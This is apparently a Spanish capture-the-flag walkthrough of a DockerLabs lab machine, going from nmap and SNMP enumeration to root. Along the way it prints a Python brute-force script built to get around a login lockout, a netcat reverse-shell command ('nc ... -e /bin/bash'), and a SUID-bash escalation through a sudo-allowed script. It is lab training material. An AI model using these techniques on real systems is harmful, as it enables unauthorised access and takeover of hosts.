Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 05:31 EST
Nmap scan report for 172.17.0.3
Host is up (0.000036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 86:c3:e7:47:85:79:ce:e9:e6:1f:dd:43:37:9b:aa:a5 (ECDSA)
|_ 256 4d:80:5f:fa:24:fa:c3:70:fc:bd:39:d8:e7:5b:c7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 02:42:AC:11:00:03 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
Si vemos la pagina del puerto 80 vemos que es una pagina normal de apache2, que si inspeccionamos la pagina el codigo, vemos algo raro en el CSS viendo lo siguiente:
Si bajamos un poco mas en el codigo, veremos un dominio el cual probaremos a entrar con el:
<divclass="validator"hidden="lifeordead.dl">
Haremos lo siguiente:
nano/etc/hosts#Dentro del nano<IP> lifeordead.dl
Guardamos y ponemos lo siguiente en la URL.
URL = http://lifeordead.dl/
Veremos un login, pero recordemos que obtuvimos unas credenciales las cuales probaremos a meter en el login:
User: admin
Pass: PASSWORDADMINSUPERSECRET
Y veremos que entramos en una especie de Admin panel en el que tendremos que meter un codigo para identificarnos como el usuario administrador, pero como no lo sabemos podemos probar fuerza bruta, tambien tenemos que ver que tenemos 10 intentos y pasados dichos intentos se nos bloqueara unos 30 segundos hasta poder obtener 10 intentos mas, por lo que nos montaremos un script con todas estas caracteristicas.
Pero tendremos que poner la URL donde se esta validando todo esto del codigo y si inspeccionamos el codigo de la pagina, veremos que se esta validando en este .php que esta en el javascript:
#!/bin/python3import requestsimport time# URL del formulario PHP que maneja el códigourl ='http://lifeordead.dl/pageadmincodeloginvalidation.php'# La sesión se mantiene abierta para manejar cookies y encabezadossession = requests.Session()# Función para enviar el códigodefsend_code(code):# Creamos el payload con el código payload ={'code': code} response = session.post(url, data=payload)return response# Función para realizar el ataque de fuerza brutadefbrute_force(): max_attempts =10# Intentos máximos block_time =30# Tiempo de bloqueo en segundos attempts_left = max_attempts # Intentos restantes que se actualizan según el servidor current_code =0# Empezamos con el código 0000whileTrue: code_str =f'{current_code:04}'# Formateamos el código con 4 dígitosprint(f"Intentando código: {code_str}")# Enviar el código al servidor response =send_code(code_str)if response.status_code ==200:try: data = response.json()# Parsear la respuesta JSONexceptValueErroras e:print("Error al procesar la respuesta JSON:", e)returnFalse# Si el código es correctoif data.get('status')=='success':print(f"¡Código correcto encontrado! El código es {code_str}")returnTrue# Código correcto encontrado# Si el código es incorrectoelif data.get('status')=='failed': attempts_left = data.get('attempts')# Actualizamos los intentos restantes según el servidorprint(f"Intento fallido. Intentos restantes: {attempts_left}")# Si está bloqueadoelif data.get('status')=='blocked': remaining_time = data.get('remainingTime')print(f"Estás bloqueado, esperando {remaining_time} segundos...") time.sleep(remaining_time +1)# Esperamos el tiempo de bloqueoprint("Reintentando...")# Si el código no es válido (no tiene 4 dígitos o es incorrecto)elif data.get('status')=='invalid':print("El código debe ser de 4 dígitos. Reintenta.")else:print(f"Error al enviar el código, estado {response.status_code}")# Esperamos un segundo entre cada intento para evitar hacer peticiones muy rápidas time.sleep(1)# Incrementamos el código para el siguiente intento current_code +=1if__name__=='__main__':print("Iniciando ataque de fuerza bruta para encontrar el código...")brute_force()
Vemos que despues de un rato encontramos el codigo que sera el 0081, el cual si lo introducimos veremos que entramos en una pagina la cual nos muestra una clave secreta que tendremos que guardarnos y tendremos 60 segundos para poder guardarnosla.
bbb2c5e63d2ef893106fdd0d797aa97a
Vemos que puede ser una posible contraseña para algun usuario del sistema, si enumeramos un poco mas en la pagina llamada pageadmincodelogin.html vemos que hay un nombre como comentario:
<!--dimer-->
Escalate user dimer
Si intentamos crackear la contraseña de MD5, veremos que no podremos, pero si la utilizamos de normal con el propio hash veremos que pasa:
sshdimer@<IP>
Metemos como contraseña bbb2c5e63d2ef893106fdd0d797aa97a y veremos que estamos dentro, por lo que leeremos la flag del usuario:
user.txt
c92b22766f900e5bdab6700ab88dabb8
Escalate user bilter
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for dimer on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dimer may run the following commands on dockerlabs:
(bilter : bilter) NOPASSWD: /opt/life.sh
Vemos que podemos ejecutar /opt/life.sh como el usuario bilter, por lo que haremos lo siguiente:
Si vemos que tiene por dentro el script, veremos esto:
e="nc": Es el comando netcat, usado para establecer conexiones de red.
f="-e": La opción -e de netcat ejecuta un programa al recibir una conexión (en este caso, /bin/bash).
g=$c: Dirección IP objetivo (descompuesta previamente como 172.17.0.186).
h=$d: Puerto objetivo (descompuesto previamente como 6068).
Comando completo:
nc 172.17.0.186 6068 -e /bin/bash &>/dev/null &
Decodificación Completa
El script:
Calcula la dirección IP y el puerto a partir de operaciones XOR.
Usa netcat para conectarse a la IP 172.17.0.186 en el puerto 6068.
Ejecuta /bin/bash para ofrecer una shell remota al atacante.
El codigo se veria algo parecido a esto:
#!/bin/bashset+m# Dirección IP y puerto calculados explícitamentec="172.17.0.186"# Dirección IPd=6068# Puerto# Comando para iniciar una conexión usando netcate="nc"f="-e"g=$ch=$d# Establecer conexión con una shell inversa$e $g $h $f /bin/bash &>/dev/null &
Por lo que vemos esta ejecutando un nc para crear una shell a una IP y puerto en concreto, por lo que haremos lo siguiente:
En nuestro host añadiremos la IP que esta en el script de la siguiente forma:
sudoipaddradd172.17.0.186/16devdocker0
Y una vez que ya hayamos añadido la IP, nos pondremos a la escucha con el siguiente puerto:
nc-lvnp6068
En la maquina victima ejecutamos lo siguiente:
sudo-ubilter/opt/life.sh
Y ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 6068 ...
connect to [172.17.0.186] from (UNKNOWN) [172.17.0.3] 39342
whoami
bilter
Vemos que somos dicho usuario.
Sanitización de shell (TTY)
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Escalate user purter
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for bilter on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bilter may run the following commands on dockerlabs:
(ALL : ALL) NOPASSWD: /usr/local/bin/dead.sh
Vemos que podemos ejecutar el script /usr/local/bin/dead.sh como el usuario root, por lo que haremos lo siguiente:
Vemos que no podemos leer el script, pero si lo ejecutamos vemos lo siguiente:
sudo/usr/local/bin/dead.sh
Info:
161
Y solo vemos este numero, podemos deducir que puede ser algun puerto que se haya levantado o algo parecido, vamos a comprobar si el puerto 161 esta levantado por TCP, pero veremos que no lo esta, por lo que probaremos por UDP y aqui veremos que si lo esta:
nmap-sU-p161--script=snmp*<IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 06:08 EST
Nmap scan report for lifeordead.dl (172.17.0.3)
Host is up (0.000091s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 7f3cbe5245328e6700000000
| snmpEngineBoots: 12
|_ snmpEngineTime: 3m57s
| snmp-sysdescr: Linux dockerlabs 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
|_ System uptime: 3m58.58s (23858 timeticks)
| snmp-brute:
|_ public - Valid credentials
MAC Address: 02:42:AC:11:00:03 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 16.61 seconds
Vemos que efectivamente esta abierto, por lo que vamos a probar a ver si se puede enumerar con la siguiente herramienta.
snmpwalk-v2c-cpublic<IP>
Info:
iso.3.6.1.2.1.1.1.0 = STRING: "Linux dockerlabs 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (35621) 0:05:56.21
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@lifeordead.dl>"
iso.3.6.1.2.1.1.5.0 = STRING: "dockerlabs"
iso.3.6.1.2.1.1.6.0 = STRING: "This port must be disabled aW1wb3NpYmxlcGFzc3dvcmR1c2VyZmluYWw="
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (317827) 0:52:58.27
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 01 15 0C 0A 27 00 2B 01 00
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.8.11-amd64 root=UUID=83f637c8-5a20-46ef-a18a-c151451da541 ro quiet splash
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 17
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
Vemos que en la siguiente parte pone lo siguiente:
iso.3.6.1.2.1.1.6.0 = STRING: "This port must be disabled aW1wb3NpYmxlcGFzc3dvcmR1c2VyZmluYWw="
Vemos que es un cifrado en Base64, si lo decodificamos veremos lo siguiente:
imposiblepassworduserfinal
Por lo que podremos intuir que la contraseña puede ser del usuario purter, por lo que haremos lo siguiente:
supurter
Metemos como contraseña imposiblepassworduserfinal y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for purter on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User purter may run the following commands on dockerlabs:
(ALL : ALL) NOPASSWD: /home/purter/.script.sh
Vemos que podemos ejecutar el script /home/purter/.script.sh como el usuario root, por lo que haremos lo siguiente.
Vemos que el script esta en nuestra home, por lo que podremos eliminarlo y poner con el mismo nombre el contenido que queramos de la siguiente forma:
rm/home/purter/.script.shnano/home/purter/.script.sh#Dentro del nano#!/bin/bashchmodu+s/bin/bash